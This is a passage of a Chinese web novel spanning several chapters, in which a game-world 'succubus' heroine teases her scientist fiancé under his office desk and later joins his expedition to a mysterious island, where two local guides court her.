直播间的弹幕又开始尖叫了,夹杂着类似于“快跑”这里的话。 之芙哼了一声:跑什么跑! 她从桌底下出来,干脆一屁股坐在了地上,在夕同简弯腰下来的时候,伸出一根食指,抵住夕同简的胸膛,戳了戳。 “我偷偷跑来研究所,还不是因为你!” 夕同简愣了愣:“……我?” “是啊,我一、觉、睡、醒——发现自己的未婚夫不见了。”之芙摊开手,“我想进来找你,结果进不来,还是其他好心研究员带我进来的。” “至于这个计划书……”她语气弱了下来,转身过去。 “我……我只是有点后悔嘛。” “后悔什么?” “……后悔今天拒绝了你。”之芙低声说,“就是……我很想知道你在做什么。我也想……想陪你去。” 她的声音低低的,像一只蜷缩成一团,瑟瑟发抖还要极力隐瞒的小猫。 她又侧过头来,抿着唇。小小的唇珠挺翘着,被抿得发红,眼睫乱颤。 很是可怜的样子。 “结果你把我弄得好痛……”她低声抱怨,“在桌下就可以踩我了吗!你这个人,一点礼貌都没有。” 明明是自己先偷偷跑进来的,却越说越气,脸颊都鼓起来,像一只张牙舞爪的猫,看起来又可怜,又横蛮。 踩了小猫的没礼貌家伙嘴唇一抿。 “你太过分了。”之芙吸了吸鼻子,坐在地上,把裙摆拉出来,“你看!我裙子都踩脏了!” ——可是她也踩了他。夕同简抿着唇想,他大腿现在还疼,大概已经肿了。 “地上又那么冰……我是、我是为了给你留点面子才躲进去的!不然让其他人看到了,你怎么解释呀?” 之芙越说,越觉得像那么回事,说着说着,真委屈起来: “明明是为你好来着……你还那么凶……” 明明不是她的错来着!她都说了不去了,是那个莫名其妙的男人跑到她梦里,还有夕同简,说什么要抓魅魔……第一次见到那个奇怪男人的时候他就敷衍她,他要是不瞒着她,她至于大半夜不睡觉跑到桌子底下躲着吗? 她明明救了夕同简的命,只是想陪他去考察而已。 她只是一个可怜无辜弱小的小魅魔,进了游戏之后都没有选择,她又做错了什么呢?! 她越想越生气,从地上爬起来就要往外走,什么破游戏,凭什么让她在桌子底下让夕同简踢呀?她不是玩家吗! 而此时,她已经完全忘了,是她自己躲到桌子底下去的。 “等等。”夕同简说,拉住了她的手。 “你要做什么!”之芙说,“我不要跟你一起了,也不当你未婚妻了!你别拦着我!” 夕同简顿了顿。他冷静地说:“你看了文件,我不能让你出去。” “我不想去那个叫纳什的地方了,行了吧!” “不行。”夕同简说,“现在你必须去了。” 顿了顿,他又放缓了声音:“踢你是我不对。你想我怎么补偿你都行。” 之芙哼了一声,转回来,绕着夕同简走了一圈,指着办公桌说:“你下去。” 夕同简沉默了一下:“底下太小……” 之芙又哼了一声,双手抵在夕同简的胸膛上:“现在是你有求于我。” “快点,你进去呀……这样才公平。” 第45章 《大卸八块》 她就这样,可怜兮兮地—…… 【就是, 我们芙芙给了你机会你别不知好歹!】 【???发生了什么?芙芙在说什么?】 【只有嘴型没有声音,系统坏掉啦?】 【系统你别关直播啊,你有本事看你有本事别关……】 不断滚动的弹幕被系统关掉了。 如果之芙在这里, 肯定会抗议系统老古板的,但现在—— 她没心思关注直播间。 “找夕同简吗?嗯……他出去啦, 他让我在这里等他回来。” “师母?是叫我吗?可以的呀, 我不介意。”之芙笑得甜甜的,看向办公桌对面的研究员,“我等等你们老师就好, 没什么。” 次日一早, 人造阳光洒入研究所的走廊和大厅,人潮熙攘, 恢复了往日的热闹。几个研究员没找到夕同简, 跑来办公室挤着。 “师母今天来得这么早, 肯定还没吃饭吧。”办公桌对面的研究员说, “实验室的冰箱里还放着点零食, 我给您拿点。” 几分钟后对方拿着小蛋糕回来了,颇有点殷勤的意味。送完小蛋糕,却不走, 合着几个说是来找夕同简的研究员挤在办公桌前面, 一会儿翻翻书一会儿看看报告, 欲言又止地看着她, 没有一点儿要走的意思。 之芙问:“怎么了?是有要紧事找夕同简吗?” 她的视线往下扫。身下,狭小的桌内空间里, 高大的男人委委屈屈地蜷缩着长手长脚,白服和西裤都皱巴巴的,脸上也蹭着灰。 不知道是听到了外面的动静, 还是狭小的空间实在拥挤,他换了一个姿势,双膝跪地,一只手搭在之芙的膝盖上,像是想听外面的动静。 “如果有急事的话,我帮你们……” 之芙伸出脚,踩在他的肩膀上,高大俊朗的男人身体一歪,被抵在办公桌下。 “催一下吧。” 他抬起头看她,瞳孔在黑暗中闪着意味不明的光,一只手扶在她脚上。 粗糙的掌心覆盖上她的脚背。 炽热的温度紧贴着她的脚背,这个姿势,她的脚背紧绷着,展现出秀美如远山般的线条和淡青色的血管,花苞似的脚趾蜷缩着,淡粉色从脚趾蔓延到脚背。 她穿着小凉鞋,鞋面贴着一串珍珠,夕同简侧过脸,冰冷的,滑腻的珍珠,在桌下狭小拥挤的空间里,贴在他因缺氧而发热的脸上。 尖尖鞋跟抵在他肩膀上,夕同简闷哼一声,他猛地侧过脸去,鞋面上的珍珠勾住了他的衣领,一下被扯掉在地上,滚到了办公桌深处,发出的咕噜声淹没在了研究员的声音里。 “不是!不不不……”研究员赶紧否认,“就是……” 之芙看出来他们大概是有问题想问自己:“有什么事情想问就问吧!” 几人交换了一个眼神,其中一个女研究员小声地说:“那个……师母啊。您昨天不是说不去纳什了吗?为什么又改主意了呀?” “那个啊……”之芙装模作样地想了一下,有点为难地用手指挠了挠自己的脸颊,“我改变主意啦,主要是……那地方虽然看起来很恐怖,但我不放心你们老师一个人去……我担心他,想陪着他。” 对面的几个研究员发出惊讶的气息声:那里条件这么艰苦,师母还坚持要去,甚至战胜了自己的恐惧,可见爱之深! “毕竟我这么爱他。”之芙说,“而且我也不放心他一个人去呀。” 她面露难色。不放心什么,她没有明说。 但几个研究员自有判断。他们点点头,过了一会儿,又问:“那……师母。我还有个问题,我们问了,您别生气。” 之芙很大方:“随便问呀。” 大概是看之芙这么好脾气,几人又对视了一眼,那个女研究员小心翼翼地问:“师母……昨天您说的话……是真的吗?我们觉得,老师应该不是这样的人吧?就是,渣男什么的……” “我给老师作证!”一个研究员插话道,“老师虽然看起来温柔,但其实对我们这些学生还是很严肃很严格的…… “真的吗?”之芙问。 她睁大了眼睛,圆溜溜的猫眼显得很天真,一颗清澈的黑色瞳仁镶嵌在正中,流转着一抹水光,完全一副不谙世事的模样。 研究员们被她逗笑了:“真的,我们不会骗师母。” ——没人知道,在桌子底下,夕同简好容易抹黑找回了那颗珍珠,鞋面上连接的绒线断掉了,他只好放回地面上。 他第一次知道,女人的鞋子,也能有这么多的花样。这种事情仿佛是离他很远很远的,他的生活里只有消毒水、精密的仪器和数据。 他也是第一次知道…… 之芙另一只脚踩下来,雪白的露趾凉鞋踩在那颗珍珠,轻轻地往里一滑。 “咕噜……”它又滚进桌下的黑暗中了。 “可是……他从来不回复我的消息。”之芙状似为难地说,“他对别人都很温柔的。他说我救了他的命,他会对我好,可是从那个地方出来之后,我就觉得好像有什么变了。” 又是一脚,她踩上了夕同简的膝盖,鞋底摩擦着。 意思是:捡啊。 “不会的不会的!”研究员们手忙脚乱的安慰她,又竖起耳朵问,“那个地方是什么?救命又是……” “就是,前段时间他出事了。我好着急,带着他去找了我们那边的……一个土办法。”她说到“好着急”的时候,蹙着眉,细长的眉头挤在一起,湿漉漉的眼睫翕动着,漂亮的脸皱起来,可怜兮兮地。 她就这样,可怜兮兮地——编造着夕同简的坏话。 “我们那里,只有夫妻之间才能担保,用这个土方法。他说他会对我好的,所以我跟着他离开了家乡。可是,他又说他什么都记不得了……也不肯跟别人说我是他的未婚妻,我知道,他嫌弃我什么都不懂。 他们说,他对自己的同事都很温柔,可是却对我不闻不问。 其实我也不是不相信他啦。我只是……想跟着去,看看学学他说的东西,这样就能跟他有共同话题了。” 研究员们又是倒吸一口凉气——这次是震惊和同情。 看他们的表情,大约已经脑补出了不谙世事的深山少女惨被渣男欺骗的戏码。 之芙蹙着眉继续故作大度地说:“其实我知道的,如果他失忆的话……呃。”她的话戛然而止,表情也凝固一刹。 “怎么了师母?” “没、没什么……”之芙说。 桌下面,夕同简靠了过来。她的视线往下,瞧见男人半边身子都靠了过来,胸膛紧挨着她的膝盖,那张俊秀而温柔的脸紧紧贴在她的大腿上。 炽热的呼吸拍过来,打在敏.感的软.肉上,刺得她瑟缩一下,连嘴里的话都忘了。 可对面几双眼睛同情地看着她,她又不能不说话。 “如果、如果他失忆的话……呃,我也可以、嗯,理解……” 她一低头,就能看见夕同简的脸。他高挺的鼻梁顶开了裙摆,摩挲着她的腿跟肉。 珍珠被他放进裙摆里,随着动作滚来滚去。 如果这个高度掉下去的话、会……很响吧。就会被发现了。呜…… 现在害怕被发现的人变成了她。 他抬起头来,一字一句,口型清晰:不、许、胡、说。 说话的时候,他俊秀的眉眼抵在她的腿肉上。她的大腿并不纤细,有些肉嘟嘟的,被他的鼻梁和嘴唇挤压成一团洁白温热的羊脂白玉。 裙摆被掀开一点,露出雪白的风景,似乎还有隐约的水雾气,他鼻尖翕动着,嗅闻的声音清晰到之芙都觉得自己的脸开始发热。 “师母……您怎么了?”研究员好奇地看着她,有点义愤填膺地凑过来,拉住了她的手,“您放心!夕老师不是这样的人!如果,如果夕老师真的是这样的话,我们可以去举报他!” “是、是吗……”之芙被她拉着手,有点颤巍巍地。“呜,谢谢你……” 夕同简抵着她的腿肉,嘴唇开合:你也要举报我吗?热气扑打而来。 呜……别说话了。 之芙瞪了下脚,想把他踩回去。 可是夕同简轻而易举地抓住了她的脚踝。 他高大的身躯在狭小的空间里蜷缩着,此刻却显出无与伦比的爆发力,像是猛兽拱背准备进攻的前兆。 被抓得动弹不得的时候,之芙才知道,夕同简不是什么文弱的研究员…… “师母,别伤心了。”一个研究员在旁边开口,“为一个男人伤心不值得。” “就是!天下这么多男人,师母您别在一棵树上吊死啊。” “是啊。”最开始殷勤地给她拿小蛋糕的男研究员忽然嘿嘿地笑了一下,指指自己,“如果师母不喜欢老师了,也可以考虑考虑我?” “我——呜!” 之芙正想答话,却猝不及防被夕同简抵在膝盖上,狠狠地咬了一口。 他咬得那么凶狠,抬起头来的动作却慢条斯理,嫣红的唇瓣上沾着水迹,留下一个发白的牙印,在裙子下面。 “嗯……我想我还是……呃,喜欢你们老师。” 裙.下的猛兽似乎满意了些。他大发慈悲地伸出舌尖,舔舐过伤口。 之芙抿着的唇都发白了。她赶快说:“谢谢你们,不过……我还是想自己待一会儿。嗯,等你们老师回来了,我会告诉他你们在找他的!” 走之前,几个研究员还依依不舍地跟她道别:“师母你有什么事就跟我们说!如果老师欺负你,我们肯定站在你这一边!” “谢谢……” 大门关上了,之芙几乎是瘫在椅子上,差点没顺着椅子滑下去。 夕同简从下而上的接住她,湿润的唇瓣在灯光下闪闪发亮。 他慢吞吞地舔了舔唇,那股蓄势待发地近似于兽类的危险感自他身上消弭,光落在他脸上的瞬间他也恢复了平日里的温和,笑着问:“这下公平了吗?” 之芙一脚踹在他肩膀上:“……坏蛋!” …… “夕老师,您回来了!” “嗯,早上有点事。” 夕同简揽着之芙出门的时候,之芙脚还有点软。 “咦,师母,你的鞋子……好像坏了?” 之芙一低头,瞧见自己鞋子上因为装饰的珍珠掉了,露出了一片好大的空缺。 她顿了顿:“不、不知道掉在哪里去了……” “哦,我们帮您找找吧!”热心的研究员说。 “不用了。”夕同简温和道,“坏了就丢掉吧,我给她再买双新的。不麻烦你们了,这么小的东西,太难找了。” 他一边说着话,一边把手插在白服的兜里。圆润的珍珠,在他的指尖滚来滚去。 “哦,对了。”他又想起什么,笑眯眯地看向那个今早给之芙拿蛋糕的男人。他说,“我之前说过,不许在实验室的冰箱里冻零食……” “下午我要检查实验室的卫生……别让我失望哦。” ——一片哀嚎。 之芙在内心双手合十疯狂忏悔:对不起了大家等下次我请你们吃小蛋糕!我会求求你们夕老师,给你们说说好话的…… 夕同简拉住之芙,往外走。 之芙:“去哪?我要先回宿舍……”要先回宿舍换衣服!她裙子底下……全是牙印。 “去给你买点考察用的东西。”夕同简上下扫视了一遍之芙,“登山裤、平底鞋、雨衣、保暖服……” 之芙试图挣扎一下:“非去不可吗?我发誓,我绝对不会说出去的……” 夕同简笑眯眯地说:“我尊重你的想法。不过,好像有人说她想跟我一起去纳什,她想照顾我、说跟着我到处看看,好跟我有共同话题。原来是胡说八道……” “不!不是!我当然要去,我说就去!” 第46章 《大卸八块》 【那你更喜欢他们,还是…… 三天后, 科考船甲板上。 阳光拂过跃动的浪花,远处湛蓝的海域一望无际,这里是大洋深处, 没有人烟没有可供歇脚的小岛,连海鸟都很难见到一次, 只有一群鱼远远的跟着科考船, 期望着它在傍晚时分丢下来的残羹剩饭。 自这艘船驶离陆地开始,已经在茫茫大海中行驶了一整天了,直到今天早上, 才停在了一个海域中, 似乎在等待着什么。 之芙趴在栏杆上,海风阵阵拂面, 吹起她散落的发丝, 她在脑海中呼唤系统:【系统, 系统?】 【怎么不说话呀?】 【……】 从之芙跟夕同简约好了要去纳什开始, 系统就再也没有在她脑海中说过话了, 就像是从不存在似的,可是之芙每次指使他去做什么的时候,他又默默地把事做了。 就比如, 之芙早上让他打开直播间, 他不说话, 直播间却已经按照她的要求打开了。 弹幕滚动起来, 跟她告状: 【芙芙,前几天晚上是你关的直播吗?】 之芙没有关过直播, 想也知道是系统关的。 有些弹幕也跟她想法一致:【肯定是系统干的!】 【系统小气鬼哈哈哈哈】 【你们还不知道他嘛,老古板一个。】 之芙对弹幕说:【系统小气鬼是真的!我最近跟他说话他都不理我。】 【那为什么直播间还能开?直播间不是系统操控的吗?】 【楼上你这就不懂了,我们统子哥在冷脸洗内裤哈哈哈哈哈哈】 【是他能做出来的事哈哈哈哈】 弹幕已经被哈哈哈的海洋淹没了, 忽然有个红色的匿名弹幕跳出来: 【有一说一,我也想给芙芙冷脸洗内裤】 【芙芙给个机会!】 【楼上的先把匿名取消再说话,看统子哥弄不弄你就完了。】 【统子哥干活啊干活!把楼上都拉黑了】 【就是,快干活啊,挡着我舔老婆了。】 系统:【……】 系统默然无言,却把所有人闹腾的人都拉黑了,只留下讨论剧情的人。 之芙说:【原来系统你在啊,我还以为这么多天的相处都是我的错觉呢。】 系统:【……】 好半晌,系统都没说话。 之芙无聊,看向了不远处的海面,不久,海面远处的地平线上突然出现了一艘小船。 身边忽然一阵骚动,不少人从船舱里走上甲板,小严从人群里挤出来,挤到她身边,高高兴兴地跟她打招呼:“师母!早上好啊。” 小严就是之前在夕同简的办公室里见过的,夕同简的学生。 之芙也跟她打了声招呼,问她那艘船是怎么回事。他们应该是在大洋深处,这几天她都没有其他船。 “有新人要上船呢!”小严高兴地说,“他们会带一些好东西来。” 好东西?之芙有点兴趣,只是不知道小严所说的“好东西”是不是什么精密仪器什么的——作为这趟考察的唯二两个女生,小严和之芙的关系在这几天的接触下突飞猛进,已经是晚上可以睡同一张床的好朋友了,是以之芙也经常听她念叨一些听不懂的学术用语和复杂的仪器调试组装方法。 夕同简一大早又去船长室检查地图和航线了,人群拥挤起来,甲板上已经挤满了人,小严拉着她借着“师母”的身份挤到最前面,不远处,那艘小船正缓缓驶向他们。 小船只是普通的渔船,片刻后停在科考船下方,船员们扔下一个绳梯,之芙趴在栏杆上,瞧见一男一女背着包从渔船上顺着绳梯爬上来,女人朝渔船做了一个手势,渔船便转头离开了。 “他们是纳什附近小岛的当地土著,这两个人是兄妹,读过一些书,所以跟我们交流没有问题。”小严靠在之芙耳边解释,“所以每次来纳什,夕老师都雇他们当向导。” 小严顿了顿,又说:“之前我没有参加过纳什的考察,不过听其他人说,夕老师为他们付了一大笔钱,还给他们的小岛修了路和码头,他们感谢夕老师,会给研究员们带一些小岛的特产,都是没见过的好东西呢!” 原来小严说的好东西是土特产啊。 之芙若有所思地看向两兄妹,他们穿着简单轻便的衣服,海风把他们的衣衫吹得鼓囊囊的,看不出什么现代社会的服装样式,五官深邃,皮肤黝黑,四肢健硕灵活,裸.露的皮肤上有些经年不去的疤。 他们顺着绳梯轻松翻上甲板时,周围的研究员都为他们轻盈的动作爆发出一声惊叹欢呼。 两人落地,环顾四周,如同审视羔羊的牧羊人。不知为何,两人的目光不约而同地落在了之芙身上,他们用听不懂的语言交流了几句,朝这边走来。 小严抓住了她的手,紧张地吞了吞口水,看向走来的两人,问:“你们要做什么?” 实在不怪她紧张,这两个人气场太强,几步路硬生生走出了捕猎的架势。 两人停在他们面前,又交流了几句,其中的妹妹盯着之芙,开口问:“你叫什么名字。” “……什么?” 妹妹的语气很流利,基本听不出来什么口音,但哥哥的声音非常艰涩,似乎发出他们能听懂的话对他很困难:“你,和他们,不一样。” 不等之芙开口,小严就说:“这是夕老师的未婚妻,你们叫师母就可以了。” “未婚妻?”哥哥开口,“夕老师?” 妹妹用方言低声跟哥哥解释了一通,又问:“你叫什么名字?” 之芙朝小严摇摇头:“我叫之芙。” 妹妹笑了笑。她的面庞饱经风霜,轮廓硬朗,显得锋利而俊俏,笑起来的时候非常爽朗:“芙芙。我可以这么叫你吗?我叫戎淼,这是我的陆地名字,他是我哥哥,你可以叫他戎火。” 两人一齐朝着之芙做了一个手势,大概是他们那个小岛打招呼的手势,戎火又说:“你,和他们,不一样。” 之芙有点糊涂,好奇地问:“什么不一样?” 男人却只是盯着她,不说话了。 “抱歉,我哥哥不太会说陆地话。”戎淼笑着解围,又对之芙和颜悦色地道,“你知道夕老师在哪里吗?我们要去找他商量一下今晚登岛的事项。” 之芙给他们指了路,戎淼又礼貌道谢,双手合十对着她做了个拜的动作,问:“今晚我可以去找你吗,芙芙?” “找我?”之芙惊讶。 “嗯。”戎淼笑着说,“你还没有来过纳什吧,之前没见过你,今晚我带你熟悉一下纳什怎么样?” ——之前小严也没来过吧。之芙想着,看向身边紧紧抓着自己的手的小严。那她为什么不带小严熟悉一下纳什? 她点点头,戎淼把背上背着的一个包脱了下来,扔到了小严的怀里,爽朗地说:“给你的。” 小严手忙脚乱地接住了戎淼的包,愣愣地用双手抱住。 戎火一直盯着之芙看,这会儿也把一个包解开来,放到之芙怀里,冲她点点头,越过她走向身后的船舱。 擦肩而过一瞬间,他干燥的嘴唇开合,之芙听到他用不太熟练的别扭语气,低声道: “妻子就是妻子……未婚妻……没有这种说法。” 之芙一愣。 身边传来小声的欢呼,她侧头看去,小严打开了背包,露出里面满满的食物和小装饰品:“是这个肉饼!天啊,上次师姐带来的一点点超级好吃!还有这个这个,镶嵌在贝壳上的小木片可以当口琴!” “这些、这些都是给我的吗?” 走向船舱的戎淼转身,冲她们眨了眨眼。海风吹起她盘在脑海的长发,再转身一看,小严已经捧着脸喃喃:“天呐……戎淼好帅啊。简直是我梦中才会出现的帅姐姐……” 之芙觉得好笑,她打开戎火给自己的包,里面也放着满满当当的用油纸包着的食物和装饰品,都是她没见过的小岛特产。 “噢!”小严反应过来,“师母,你看这个!这个油纸包的,是他们那边的特产食物,里面是椰糠和椰奶还有他们那边的植物弄碎了做的团子,师姐说这个超级好吃,你也尝尝!” 周围,她见过几次的另外几个研究员也凑上来,有人说:“师母,这是他们给你们的吗?” ——他就是之芙之前听过一嘴的小赵,据说是上一次考察里唯一一个没有受伤的人,被夕同简任命来带队。 之芙从包里拿了些东西塞给他们——戎火给了她满满一大包,都有点拿不下了。 小赵挠着头谢她,又挠着头说:“这倒是有点奇怪。” “什么奇怪?”小严已经吃上了,声音含含糊糊地,“他们好热情!师姐说得对,他们真是好人!” 小赵说:“就是太热情才奇怪……哎呀,你们不知道,上次我见他们的时候,他们可高冷了,也不爱说话,东西也是给夕老师的,还是夕老师后来分给我们……” 小严说:“给师母和给夕老师也没什么区别啊。” “再说了。”她黏黏糊糊地抱住之芙的手臂,笑着说,“咱们师母这么漂亮又温柔,他们都说了‘和其他人不一样’,热情一点也很正常嘛!如果师母不是师母,我也要天天粘着她!” “你已经在黏着了……”小赵嘟嘟囔囔,一群人笑成一团。 之芙抱着包,忽然听到脑海中系统冷不丁地问:【好看吗?】 之芙:【?系统你终于活了?】 系统沉默了一会,又问:【戎淼戎火,好看吗?】 【当然!】之芙说。这个游戏里的角色的仿真度之芙在上一个游戏就见识过了,他们的外表和普通人类几乎找不出区别,自由的思想和行动也无限接近于人类,可他们的脸都有种超出人类的美。 毕竟,没有游戏建模师会精心雕刻就为了做出一张普通人类的脸吧? 系统又问:【比起夕同简,如何?】 【系统你的语气怎么怪怪的……】之芙嘟嘟囔囔,【他们都很好看!】 如果说夕同简是温和的,春风化雨般的美丽,那戎淼戎火两兄妹就是蓬勃热情的野性之美。 站在他们面前的时候,会感受到那股生命之美,如同潺潺的水流和永不熄灭的火焰。 系统微不可查地冷哼了一声:【那你更喜欢他们,还是更喜欢黎夜谢应白?】 【我——】之芙拖长了语调,当然是都喜欢啦!不要争啦,都是她的漂亮老婆啊! 但她还没说出来,系统就被气笑了似地:【都喜欢?】 之芙”唔“了一声。总觉得系统语气怪怪的。 【他们不是你塞给我的吗?】 这是游戏给她的漂亮老婆,四舍五入就是系统塞给她的呀。 【都喜欢……】系统的语气更怪了。他阴阳怪气地念了一通,然后说,【你这么贪心,以后受不了了,不要来找我。】 第47章 《大卸八块》 纳什岛是个总面…… 纳什岛是个总面积多达四百多平方千米的热带小岛, 用无人机探查时能看到小岛中遍布茂密的雨林,深处地形崎岖,岛的东面是直临大海的悬崖, 西面则是一片碎石嶙峋的沙滩,科考船只能在沙滩上登陆。 按理说, 这座小岛这么大, 物产丰富,气候宜人,加之岛上虽然没有人烟, 但临近有不少岛屿, 应该早被开发了才对,但奇怪的是, 这座小岛却从没有在历史里留下痕迹, 仿佛它是凭空出现在大洋中间一般。 “‘纳什’在我们那里的意思是, 彼岸之地。”戎淼说, 她双手合十, 对着小岛深处拜了拜,“彼岸之地是非人之物居住的地方,只有得到‘祂’的允许, 我们的双脚才能踩在‘祂’的土地上, 但即使如此, 如果不是‘祂’选中的人, 也无法顺利到达纳什的深处。” “祂是谁?” “祂就是祂,待万物重新流动之时, 祂的土地会从海底升起,迎接祂等候已久的那个人,届时我们会在祂的摆渡船中, 和祂一起坠入恒久快乐的永眠。” 篝火跳跃着,落在她的脸上,映出一条长长的阴影。戎淼一向爽朗热情,很难见到她这副认真的样子。 小严打了个哈哈缓解气氛:“……那听起来有点像是大怪物从海底复苏,等祂醒来后所有人都会死。” “不,那不是死亡。”戎淼却表情严肃而虔诚,“那是无生无死的长眠,在那样的幸福的安睡中连死亡都会死去。”① “所以祂是你们信奉的神明吗?”之芙问。 “其实只是一个传说。”戎淼说,“因为祂的土地从没有出现过,很多人都以为这只是一个传说,已经没有人信奉祂了。但一年前,夕老师忽然找到我们,他告诉我祂的土地已经升起了……很奇妙吧,我一开始也不相信。直到我真的到达这片土地……我们的小岛离这里很近,岛民们捕鱼为生,会驶着长长的小船到达另一个小岛——我小时候经常划着船路过这里,但从没有见过纳什。” 半天的接触下来,之芙和他们也熟悉了不少。她得知两人都是来自纳什不远处的小岛的岛民,因为交通不便,那里非常落后,只有戎淼在现代社会生活过,戎火虽然去过大陆,但他没有学习过他们的语言和生活习惯,交流也很困难。 不过,戎淼说他哥哥是岛上探险的行家,他知晓一切大陆人不知道的事情,所以准确来说,他们这次考察之行的真正向导是戎火,戎淼和其他人,包括夕同简在岛上都要听他的,这样才能活下去。 因为到达小岛的时候已经是傍晚了,夕同简下令在岛上的海滩扎营,先休息一晚上,也让他们适应一下小岛的气候和环境,明天再正式登岛,科考船会一直停在海边等待他们返航。 戎淼和之芙还有其他研究员就挤在篝火边,一边分吃着干粮,一边等待先行去探查的戎火和夕同简回来——他们会检查上次的路线是否还能继续使用,再检查地形地貌,如果在这个环节出了什么问题,他们就只能原路返回,毕竟,夕同简不想拿任何人的生命开玩笑。 半小时后,夕同简和戎火一前一后地回来了,远远地,朝他们挥挥手。 这是约定好的信号,代表着他们这次探查一切顺利,之后就可以准备收拾收拾,第二天上岛了。 人群中爆发出一声欢呼,紧接着研究员们有条不紊地行动起来,有人支起帐篷,有人一趟趟地来回搬运器械、清点行李。 “上次我们走的路还保持着原样。”夕同简回来之后第一句话就是这个,“我和戎火往深处走了走,没有见到虫蛇,连泥潭都很少见。” 说着,他的表情也显得轻快了不少:“看来我们这次的考察会很顺利。” “顺利。”戎火说,他的目光扫视了一圈在场的所有人,然后说,“祂等候的人,就在我们之中。” 戎淼接着解释说:“祂会保佑祂等候的人顺利到达祂的身边,如果我们这次特别顺利,那一定是托她的福。” ——紧接着,戎淼和戎火的视线都落在了之芙的身上,他们微不可察地交换了一个眼神,戎火冲戎淼说了一句什么,是方言,没有人能听清。 之芙张了张嘴,嚼着嘴里的团子,思索起来——天选之人?这她熟啊!只要是游戏的玩家,谁不是天选之人? 如果是这样说的话……那“祂”就是在等她咯?为什么,因为她也是魅魔吗? 所有人面面相觑,但不管怎么说,如果这次考察真的能顺利那就是天大的好事。 “天选之人,是谁?”有人率先发问,眼里全是八卦的目光,显然没把戎淼戎火的话当真。 “反正不可能是小赵!也不可能是夕老师。”另一个研究员搬着仪器说,“他们上次都来过,也没见顺利多少。”何止不顺利,准确来说,是无功而返。不仅没有找到他们想找的“魅魔”,连需要的数据都没采集到,传说中的“祂”也没见上一面,就被热带雨林拦在了外面。 剩下没被点到名的七八个研究员的目光乱扫,活像玩狼人杀的时候试图在人群中找出预言家和狼人。 “嗤。”有人发出轻蔑的笑声,打破了八卦的氛围,“什么天选之人什么神的,你们接受过义务教育,难道也信这些?未被发现的新生物罢了,都说了……是魅魔。魅魔那种生物……呵。” 周围顿时陷入一片寂静,夕同简和戎淼都皱着眉不赞同地看着他,但还没等他们说什么,小赵便挠挠脑袋说:“难道魅魔也进过你的梦里?” “……当然没有!”说话的人顿时涨红了脸,之芙听出来了,这个人就是那天晚上在夕同简办公室里,要求把小赵换下去自己当副队的人,“赵明你别太过分!这里都没有见过那个男人的人,你说什么呢!是不是想让我走!” ——之前几次科考,他们都带着被“祂选中”进过梦里的人,但也没见考察变得更顺利,反而因为被进过梦的人都精神恍惚,最后反而变成了最容易遇险的人。 最惊险的一次,被进过梦的研究员失踪了三天三夜,无论他们怎么搜救也找也没找到他,最后不得不撤离的时候,他们却发现他回到了海滩边的露营地,只是他失踪的那一天到底发生了什么,他却说不清楚了。 所以夕同简已经不再审批梦到魅魔的人来纳什了——即使他们强烈要求,痛哭跪地甚至撞墙,他也只是让保安把他们控制起来送去医院。 所以,在男人看来,小赵说的话可不是找茬嘛。 小赵又挠挠头,说:“那你都没见过,怎么知道祂不是神呢?再说了,都说了是推测了,完全别人和我们想象中的魅魔不一样呢?又没有参考资料。” “你!!!”男人被气得转过身去,一言不发地走向远处的帐篷。 小赵挠挠头,疑惑地看着他。 之芙在旁边看着,忍不住喷笑了出来。看周围人的表情,像是习以为常,她之前还以为这俩人有多大矛盾呢,原来是单方面的……看得出来小赵也不是怼他,就是……呃,神经太大条了。 晚上,所有人在营地旁边扎好帐篷,一起吃了一顿铁锅大乱炖,夕同简就嘱咐他们休息了。 因为雨林地形复杂,没法用机器驮行李,他们要徒步进雨林,所以准备的装备除了必备的那些,其他都能几人凑合着用一用就一起用了,晚上睡在一起也比较安全。 夕同简自己背自己的装备,因此他一直是单独一个帐篷——托他的福,之芙也不用跟两三个人挤大帐篷,夕同简安排好了,她跟夕同简睡一起。 晚上她洗漱完,准备进帐篷的时候,还没走到帐篷边上,却发现戎淼在帐篷不远处,冲她招手。 “怎么了?”之芙对她的印象很好,她爽朗热情,待人真诚又厉害。 戎淼拉着她走到他们的帐篷边上,笑着说:“我不是说过晚上带着你看看纳什吗?怎么样,有兴趣吗?” 之芙一愣,顺着她的视线转向不远处黑漆漆的小岛,那些树木的阴影轮廓隐没在黑暗中,看不清晰,仿佛一个明显的陷阱,等待着无知的人们踏入。 “现在?”她还以为傍晚时戎淼带着他们在海岸线走的那一圈就是她说的“带她看看”了。 “嗯。”戎淼的声音轻飘飘的,她凑近了些,小声地问,“带你转一圈。今晚要不要跟我一起睡?” “但是夕同简还在等我……” “不用管他。”戎淼说,“虽然夕老师很值得尊敬啦……” “但是,他对你不好,是不是?” 之芙又是一愣:“为什么这么说?” “是我听小严说的。”戎淼不由分说地拉过她,漫步在海滩上,“她说夕同简对你不好,而且……” “听说你救了他的命,但他是个渣男,抛弃你不顾,对吧?” 月光落在她棕色的脸庞上,那张饱经风霜的脸被映照得闪闪发亮,连轮廓都被光线削得锋利。 她忽然对着之芙身后喊了一声:“哥。” 之芙回头看去,不知何时,戎火也默默地跟在她们的身后。 她正回头看着戎火,忽然身后,戎淼拉住了她的手,月光把她的影子投下来,完全盖住了之芙的影子,而此刻,这个高大健硕的女人微笑道: “既然夕老师对你不好,芙芙……要不要考虑一下我哥?” 她又指了指自己,眨眼:“或者……我?” 第48章 《大卸八块》 他说:“我也会……很听…… 后喊了一声:“哥。” 之芙回头看去, 不知何时,戎火也默默地跟在她们的身后。 她正回头看着戎火,忽然身后, 戎淼拉住了她的手,月光下, 她微笑道: “既然夕老师对你不好, 芙芙……要不要考虑一下我哥?” 她又指了指自己,眨眼:“或者……我?” …… 海风阵阵,吹起之芙的长发, 她下意识伸手去撩, 刚伸出的手却被身前的男人握住了,他上前一步, 抵住之芙。 他嘴唇开合, 说了一句什么, 但那音节很模糊, 是之芙听不懂的语言。 身后一具温暖的胸膛, 身前也抵着男人的脚。他们身上有股清新的海风气息,潮湿而温暖,涌动着, 裹住了她。 身后的戎淼低声道:“哥哥说, 你和别的陆地人不一样, 为什么要和夕同简在一起?” “他对别的女人嘘寒问暖, 却对你冷脸;明明是你救了他,他却不敢承认你是他的未婚妻。他为什么不跟你在一起呢?我们那里, 妻子就是妻子,没有未婚妻这种说法。” 一双大手覆盖下来,拢住她被海风吹得扬起的外套。薄薄的外套隔不住温度, 他粗糙的掌心落在肩头,炽热的温度随之传过来,在冰冷的海风中激起阵阵战栗。 戎火低头看向女孩。他的掌心太粗糙,这个陆地女孩似乎连衣服都是娇贵的,他都担心自己的手会刮破她的衣服。 他开口,艰涩的模仿着陆地话:“好,就是好,不好……就是不好。我们那里,不像你们,弯弯绕绕。” 